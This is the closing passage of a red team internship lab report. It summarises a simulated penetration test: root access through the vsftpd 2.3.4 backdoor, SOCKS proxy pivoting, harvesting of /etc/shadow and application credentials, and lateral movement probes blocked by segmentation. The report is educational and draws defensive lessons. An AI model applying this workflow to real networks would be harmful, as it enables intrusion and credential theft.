Although full lateral movement login sessions (such as interactive SSH, Telnet, or SMB shells) could not be established due to filtered ports, closed service states, and the absence of reusable cross-host credentials, this assessment phase successfully validated the operational integrity of the pivot architecture. The successful routing of reconnaissance traffic through the SOCKS proxy confirmed that the compromised machine effectively functioned as a bridgehead, enabling controlled assessment of internal systems despite strict network boundaries.

11. CONCLUSION & SUMMARY OF FINDINGS

1. Overall Conclusion & Engagement Summary

The Week 06 Cybersecurity Internship practical assessment successfully demonstrated the complete post-exploitation and internal network penetration testing lifecycle. Operating from an external Kali Linux attacker workstation (192.168.18.240), initial access was established against a vulnerable Linux target (192.168.18.94) via the vsftpd_234 backdoor exploit, yielding root-level privileges.

Leveraging this compromised node as a pivot gateway, the engagement progressed through internal network reconnaissance, SOCKS5 proxy tunneling, local credential harvesting, and cross-subnet lateral movement probes. While internal firewall filtering and closed service states on secondary nodes successfully prevented full remote interactive shell establishment, the assessment rigorously validated critical internal attack paths, proxy routing methodologies, and the fundamental importance of network micro-segmentation and defense-in-depth controls.

2. Summary of Findings (Master Table)

Task / Assessment Phase	Primary Tool / Technique	Target Assets	Key Outcome / Result	Security Impact & Implication
Task 01: Internal Discovery	Metasploit (vsftpd_234), ip addr, ip neigh, nmap -sP	192.168.18.94 (eth0) & Subnet 192.168.18.0/24	Spawned root-level Meterpreter session and discovered 8 active live hosts on the local subnet.	High-risk backdoor vulnerability allowed instant root compromise and full network mapping capability.
Task 02: Pivoting & Tunneling	Metasploit (autoroute, socks_proxy), Proxychains, Nmap	Kali (192.168.18.240) to Pivot (192.168.18.94)	Established a functional SOCKS5 proxy tunnel (127.0.0.1:1080) routing traffic into internal segments.	Bypassed perimeter segmentation, allowing external tools to seamlessly

				target internal network nodes.
Task 03: Credential Harvesting	Linux system files (/etc/passwd, /etc/shadow), Web application code inspection (/var/www/)	Compromised host 192.168.18.94	Enumerated local system accounts, extracted password hash databases, and identified hardcoded DVWA application credentials.	Insecure file permissions and default web application files exposed sensitive authentication secrets.
Task 04: Lateral Movement	Proxychains, Nmap TCP Connect Scans (-sT -Pn), Remote Management Probes	Subnet Nodes (192.168.18.117, 122, 148, 219, 251)	Probed ports 22, 23, and 445; identified filtered/closed ports preventing cross-host login sessions.	Host firewalls and strict micro-segmentation successfully contained the breach and prevented lateral compromise.

3. Final Conclusion & Security Takeaways

This simulated internal engagement highlights both the mechanics of modern post-exploitation movement and the effectiveness of robust defensive engineering:

- **The Danger of Unpatched Backdoors & Weak Footholds:** A single legacy service vulnerability (vsftpd 2.3.4) was sufficient to grant an attacker root access and a bridgehead into the internal network.
- **The Power of Tunneling:** Encapsulating traffic through SOCKS proxies renders traditional perimeter firewalls ineffective once an internal endpoint is compromised, proving that internal traffic cannot be trusted blindly.
- **The Value of Micro-Segmentation:** The defensive barriers encountered during Task 04 demonstrate that properly enforced internal firewalls, closed unused services, and strict host hardening are vital for halting lateral movement and safeguarding enterprise infrastructure.

End of Week 06: Lateral Movement & Network Pivoting Report

CyberSter Red Team Internship Program | Daniyal Shahid | CYB-INT-HQYINF | Batch 2 (2026)